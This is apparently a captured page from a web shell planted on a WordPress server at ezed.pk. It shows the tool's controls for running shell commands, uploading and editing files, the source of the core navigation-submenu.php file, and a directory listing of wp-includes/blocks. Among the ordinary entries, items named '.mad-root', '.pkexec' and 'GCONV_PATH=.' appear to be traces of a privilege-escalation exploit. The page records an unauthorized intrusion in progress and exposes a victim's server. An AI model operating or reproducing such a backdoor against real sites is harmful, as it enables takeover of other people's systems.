Server: ezed.pk
Current directory: /home/ezdajrnh/public_html/wp-includes/blocks
Software: LiteSpeed
Shell Command
Create a new file
Upload file
File: navigation-submenu.php
array(), 'inline_styles' => '', ); $has_named_font_size = array_key_exists( 'fontSize', $context ); $has_custom_font_size = isset( $context['style']['typography']['fontSize'] ); if ( $has_named_font_size ) { // Add the font size class. $font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] ); } elseif ( $has_custom_font_size ) { // Add the custom font size inline style. $font_sizes['inline_styles'] = sprintf( 'font-size: %s;', wp_get_typography_font_size_value( array( 'size' => $context['style']['typography']['fontSize'], ) ) ); } return $font_sizes; } /** * Returns the top-level submenu SVG chevron icon. * * @since 5.9.0 * * @return string */ function block_core_navigation_submenu_render_submenu_icon() { return '
'; } /** * Renders the `core/navigation-submenu` block. * * @since 5.9.0 * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * * @return string Returns the post content with the legacy widget added. */ function render_block_core_navigation_submenu( $attributes, $content, $block ) { $navigation_link_has_id = isset( $attributes['id'] ) && is_numeric( $attributes['id'] ); $is_post_type = isset( $attributes['kind'] ) && 'post-type' === $attributes['kind']; $is_post_type = $is_post_type || isset( $attributes['type'] ) && ( 'post' === $attributes['type'] || 'page' === $attributes['type'] ); // Don't render the block's subtree if it is a draft. if ( $is_post_type && $navigation_link_has_id && 'publish' !== get_post_status( $attributes['id'] ) ) { return ''; } // Don't render the block's subtree if it has no label. if ( empty( $attributes['label'] ) ) { return ''; } $font_sizes = block_core_navigation_submenu_build_css_font_sizes( $block->context ); $style_attribute = $font_sizes['inline_styles']; $has_submenu = count( $block->inner_blocks ) > 0; $kind = empty( $attributes['kind'] ) ? 'post_type' : str_replace( '-', '_', $attributes['kind'] ); $is_active = ! empty( $attributes['id'] ) && get_queried_object_id() === (int) $attributes['id'] && ! empty( get_queried_object()->$kind ); if ( is_post_type_archive() ) { $queried_archive_link = get_post_type_archive_link( get_queried_object()->name ); if ( $attributes['url'] === $queried_archive_link ) { $is_active = true; } } $show_submenu_indicators = isset( $block->context['showSubmenuIcon'] ) && $block->context['showSubmenuIcon']; $open_on_click = isset( $block->context['openSubmenusOnClick'] ) && $block->context['openSubmenusOnClick']; $open_on_hover_and_click = isset( $block->context['openSubmenusOnClick'] ) && ! $block->context['openSubmenusOnClick'] && $show_submenu_indicators; $classes = array( 'wp-block-navigation-item', ); $classes = array_merge( $classes, $font_sizes['css_classes'] ); if ( $has_submenu ) { $classes[] = 'has-child'; } if ( $open_on_click ) { $classes[] = 'open-on-click'; } if ( $open_on_hover_and_click ) { $classes[] = 'open-on-hover-click'; } if ( $is_active ) { $classes[] = 'current-menu-item'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ), 'style' => $style_attribute, ) ); $label = ''; if ( isset( $attributes['label'] ) ) { $label .= wp_kses_post( $attributes['label'] ); } $aria_label = sprintf( /* translators: Accessibility text. %s: Parent page title. */ __( '%s submenu' ), wp_strip_all_tags( $label ) ); $html = '
'; // If Submenus open on hover, we render an anchor tag with attributes. // If submenu icons are set to show, we also render a submenu button, so the submenu can be opened on click. if ( ! $open_on_click ) { $item_url = isset( $attributes['url'] ) ? $attributes['url'] : ''; // Start appending HTML attributes to anchor tag. $html .= '
' . block_core_navigation_submenu_render_submenu_icon() . ''; } } else { // If menus open on click, we render the parent as a button. $html .= '
'; // Wrap title with span to isolate it from submenu icon. $html .= '
'; $html .= $label; $html .= '
'; // Add description if available. if ( ! empty( $attributes['description'] ) ) { $html .= '
'; $html .= wp_kses_post( $attributes['description'] ); $html .= '
'; } $html .= '
'; $html .= '
' . block_core_navigation_submenu_render_submenu_icon() . '
'; } if ( $has_submenu ) { // Copy some attributes from the parent block to this one. // Ideally this would happen in the client when the block is created. if ( array_key_exists( 'overlayTextColor', $block->context ) ) { $attributes['textColor'] = $block->context['overlayTextColor']; } if ( array_key_exists( 'overlayBackgroundColor', $block->context ) ) { $attributes['backgroundColor'] = $block->context['overlayBackgroundColor']; } if ( array_key_exists( 'customOverlayTextColor', $block->context ) ) { $attributes['style']['color']['text'] = $block->context['customOverlayTextColor']; } if ( array_key_exists( 'customOverlayBackgroundColor', $block->context ) ) { $attributes['style']['color']['background'] = $block->context['customOverlayBackgroundColor']; } // This allows us to be able to get a response from wp_apply_colors_support. $block->block_type->supports['color'] = true; $colors_supports = wp_apply_colors_support( $block->block_type, $attributes ); $css_classes = 'wp-block-navigation__submenu-container'; if ( array_key_exists( 'class', $colors_supports ) ) { $css_classes .= ' ' . $colors_supports['class']; } $style_attribute = ''; if ( array_key_exists( 'style', $colors_supports ) ) { $style_attribute = $colors_supports['style']; } $inner_blocks_html = ''; foreach ( $block->inner_blocks as $inner_block ) { $inner_blocks_html .= $inner_block->render(); } if ( strpos( $inner_blocks_html, 'current-menu-item' ) ) { $tag_processor = new WP_HTML_Tag_Processor( $html ); while ( $tag_processor->next_tag( array( 'class_name' => 'wp-block-navigation-item' ) ) ) { $tag_processor->add_class( 'current-menu-ancestor' ); } $html = $tag_processor->get_updated_html(); } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $css_classes, 'style' => $style_attribute, ) ); $html .= sprintf( '
%s
', $wrapper_attributes, $inner_blocks_html ); } $html .= '
'; return $html; } /** * Register the navigation submenu block. * * @since 5.9.0 * * @uses render_block_core_navigation_submenu() * @throws WP_Error An WP_Error exception parsing the block definition. */ function register_block_core_navigation_submenu() { register_block_type_from_metadata( __DIR__ . '/navigation-submenu', array( 'render_callback' => 'render_block_core_navigation_submenu', ) ); } add_action( 'init', 'register_block_core_navigation_submenu' );
.
131 Items
Change directory
Remove directory
Rename directory
..
277 Items
Change directory
Remove directory
Rename directory
.mad-root
0 KB
Edit
Delete
Copy
Move
Remame
.pkexec
6 Items
Change directory
Remove directory
Rename directory
GCONV_PATH=.
4 Items
Change directory
Remove directory
Rename directory
archives
13 Items
Change directory
Remove directory
Rename directory
archives.php
2.92 KB
Edit
Delete
Copy
Move
Remame
audio
17 Items
Change directory
Remove directory
Rename directory
avatar
13 Items
Change directory
Remove directory
Rename directory
avatar.php
5.61 KB
Edit
Delete
Copy
Move
Remame
block
5 Items
Change directory
Remove directory
Rename directory
blocks-json.php
189.4 KB
Edit
Delete
Copy
Move
Remame
button
13 Items
Change directory
Remove directory
Rename directory
buttons
13 Items
Change directory
Remove directory
Rename directory
calendar
9 Items
Change directory
Remove directory
Rename directory
calendar.php
5.93 KB
Edit
Delete
Copy
Move
Remame
categories
15 Items
Change directory
Remove directory
Rename directory
code
17 Items
Change directory
Remove directory
Rename directory
column
5 Items
Change directory
Remove directory
Rename directory
columns
13 Items
Change directory
Remove directory
Rename directory
comment-author-name
5 Items
Change directory
Remove directory
Rename directory
comment-author-name.php
2.08 KB
Edit
Delete
Copy
Move
Remame
comment-content
9 Items
Change directory
Remove directory
Rename directory
comment-date
9 Items
Change directory
Remove directory
Rename directory
comment-date.php
1.82 KB
Edit
Delete
Copy
Move
Remame
comment-edit-link
9 Items
Change directory
Remove directory
Rename directory
comment-reply-link
9 Items
Change directory
Remove directory
Rename directory
comment-template
9 Items
Change directory
Remove directory
Rename directory
comment-template.php
4.39 KB
Edit
Delete
Copy
Move
Remame
comments
13 Items
Change directory
Remove directory
Rename directory
comments-pagination
9 Items
Change directory
Remove directory
Rename directory
comments-pagination-next
1 Items
Change directory
Remove directory
Rename directory
comments-pagination-numbers
5 Items
Change directory
Remove directory
Rename directory
comments-pagination-previous
5 Items
Change directory
Remove directory
Rename directory
comments-title
9 Items
Change directory
Remove directory
Rename directory
cover
13 Items
Change directory
Remove directory
Rename directory
details
13 Items
Change directory
Remove directory
Rename directory
embed
17 Items
Change directory
Remove directory
Rename directory
error_log
29.42 KB
Edit
Delete
Copy
Move
Remame
file
17 Items
Change directory
Remove directory
Rename directory
footnotes
9 Items
Change directory
Remove directory
Rename directory
freeform
10 Items
Change directory
Remove directory
Rename directory
gallery
17 Items
Change directory
Remove directory
Rename directory
gallery.php
6.29 KB
Edit
Delete
Copy
Move
Remame
group
17 Items
Change directory
Remove directory
Rename directory
heading
9 Items
Change directory
Remove directory
Rename directory
home-link
5 Items
Change directory
Remove directory
Rename directory
home-link.php
5.31 KB
Edit
Delete
Copy
Move
Remame
html
9 Items
Change directory
Remove directory
Rename directory
image
21 Items
Change directory
Remove directory
Rename directory
latest-comments
9 Items
Change directory
Remove directory
Rename directory
latest-comments.php
4.92 KB
Edit
Delete
Copy
Move
Remame
latest-posts
13 Items
Change directory
Remove directory
Rename directory
latest-posts.php
8.34 KB
Edit
Delete
Copy
Move
Remame
legacy-widget
5 Items
Change directory
Remove directory
Rename directory
legacy-widget.php
3.9 KB
Edit
Delete
Copy
Move
Remame
list
9 Items
Change directory
Remove directory
Rename directory
list-item
5 Items
Change directory
Remove directory
Rename directory
list.php
1.24 KB
Edit
Delete
Copy
Move
Remame
loginout
9 Items
Change directory
Remove directory
Rename directory
loginout.php
1.38 KB
Edit
Delete
Copy
Move
Remame
media-text
13 Items
Change directory
Remove directory
Rename directory
media-text.php
4.28 KB
Edit
Delete
Copy
Move
Remame
missing
5 Items
Change directory
Remove directory
Rename directory
more
9 Items
Change directory
Remove directory
Rename directory
navigation
19 Items
Change directory
Remove directory
Rename directory
navigation-link
13 Items
Change directory
Remove directory
Rename directory
navigation-submenu
9 Items
Change directory
Remove directory
Rename directory
navigation-submenu.php
9.71 KB
Edit
Delete
Copy
Move
Remame
nextpage
9 Items
Change directory
Remove directory
Rename directory
page-list
13 Items
Change directory
Remove directory
Rename directory
page-list-item
5 Items
Change directory
Remove directory
Rename directory
page-list-item.php
0.35 KB
Edit
Delete
Copy
Move
Remame
page-list.php
13.29 KB
Edit
Delete
Copy
Move
Remame
paragraph
13 Items
Change directory
Remove directory
Rename directory
pattern
5 Items
Change directory
Remove directory
Rename directory
pattern.php
1.75 KB
Edit
Delete
Copy
Move
Remame
post-author
13 Items
Change directory
Remove directory
Rename directory
post-author-biography
5 Items
Change directory
Remove directory
Rename directory
post-author-name
9 Items
Change directory
Remove directory
Rename directory
post-author-name.php
1.91 KB
Edit
Delete
Copy
Move
Remame
post-author.php
2.67 KB
Edit
Delete
Copy
Move
Remame
post-comments-form
13 Items
Change directory
Remove directory
Rename directory
post-content
9 Items
Change directory
Remove directory
Rename directory
post-date
9 Items
Change directory
Remove directory
Rename directory
post-excerpt
13 Items
Change directory
Remove directory
Rename directory
post-featured-image
9 Items
Change directory
Remove directory
Rename directory
post-navigation-link
5 Items
Change directory
Remove directory
Rename directory
post-template
9 Items
Change directory
Remove directory
Rename directory
post-template.php
5.61 KB
Edit
Delete
Copy
Move
Remame
post-terms
9 Items
Change directory
Remove directory
Rename directory
post-title
9 Items
Change directory
Remove directory
Rename directory
preformatted
9 Items
Change directory
Remove directory
Rename directory
pullquote
17 Items
Change directory
Remove directory
Rename directory
query
14 Items
Change directory
Remove directory
Rename directory
query-no-results
5 Items
Change directory
Remove directory
Rename directory
query-pagination
13 Items
Change directory
Remove directory
Rename directory
query-pagination-next
1 Items
Change directory
Remove directory
Rename directory
query-pagination-numbers
5 Items
Change directory
Remove directory
Rename directory
query-pagination-previous
1 Items
Change directory
Remove directory
Rename directory
query-pagination-previous.php
3.5 KB
Edit
Delete
Copy
Move
Remame
query-pagination.php
1.15 KB
Edit
Delete
Copy
Move
Remame
query-title
9 Items
Change directory
Remove directory
Rename directory
query-title.php
2.05 KB
Edit
Delete
Copy
Move
Remame
query-total
9 Items
Change directory
Remove directory
Rename directory
quote
4 Items
Change directory
Remove directory
Rename directory
read-more
9 Items
Change directory
Remove directory
Rename directory
read-more.php
1.79 KB
Edit
Delete
Copy
Move
Remame
require-dynamic-blocks.php
4.07 KB
Edit
Delete
Copy
Move
Remame
require-static-blocks.php
0.49 KB
Edit
Delete
Copy
Move
Remame
rss
13 Items
Change directory
Remove directory
Rename directory
search
21 Items
Change directory
Remove directory
Rename directory
search.php
22.48 KB
Edit
Delete
Copy
Move
Remame
separator
17 Items
Change directory
Remove directory
Rename directory
shortcode
9 Items
Change directory
Remove directory
Rename directory
shortcode.php
0.72 KB
Edit
Delete
Copy
Move
Remame
site-logo
13 Items
Change directory
Remove directory
Rename directory
site-logo.php
6.19 KB
Edit
Delete
Copy
Move
Remame
site-tagline
13 Items
Change directory
Remove directory
Rename directory
site-tagline.php
1.17 KB
Edit
Delete
Copy
Move
Remame
site-title
13 Items
Change directory
Remove directory
Rename directory
social-link
9 Items
Change directory
Remove directory
Rename directory
social-links
13 Items
Change directory
Remove directory
Rename directory
spacer
13 Items
Change directory
Remove directory
Rename directory
table
17 Items
Change directory
Remove directory
Rename directory
tag-cloud
13 Items
Change directory
Remove directory
Rename directory
tag-cloud.php
1.55 KB
Edit
Delete
Copy
Move
Remame
template-part
13 Items
Change directory
Remove directory
Rename directory
term-description
10 Items
Change directory
Remove directory
Rename directory
text-columns
13 Items
Change directory
Remove directory
Rename directory
verse
9 Items
Change directory
Remove directory
Rename directory
video
17 Items
Change directory
Remove directory
Rename directory
widget-group
5 Items
Change directory
Remove directory
Rename directory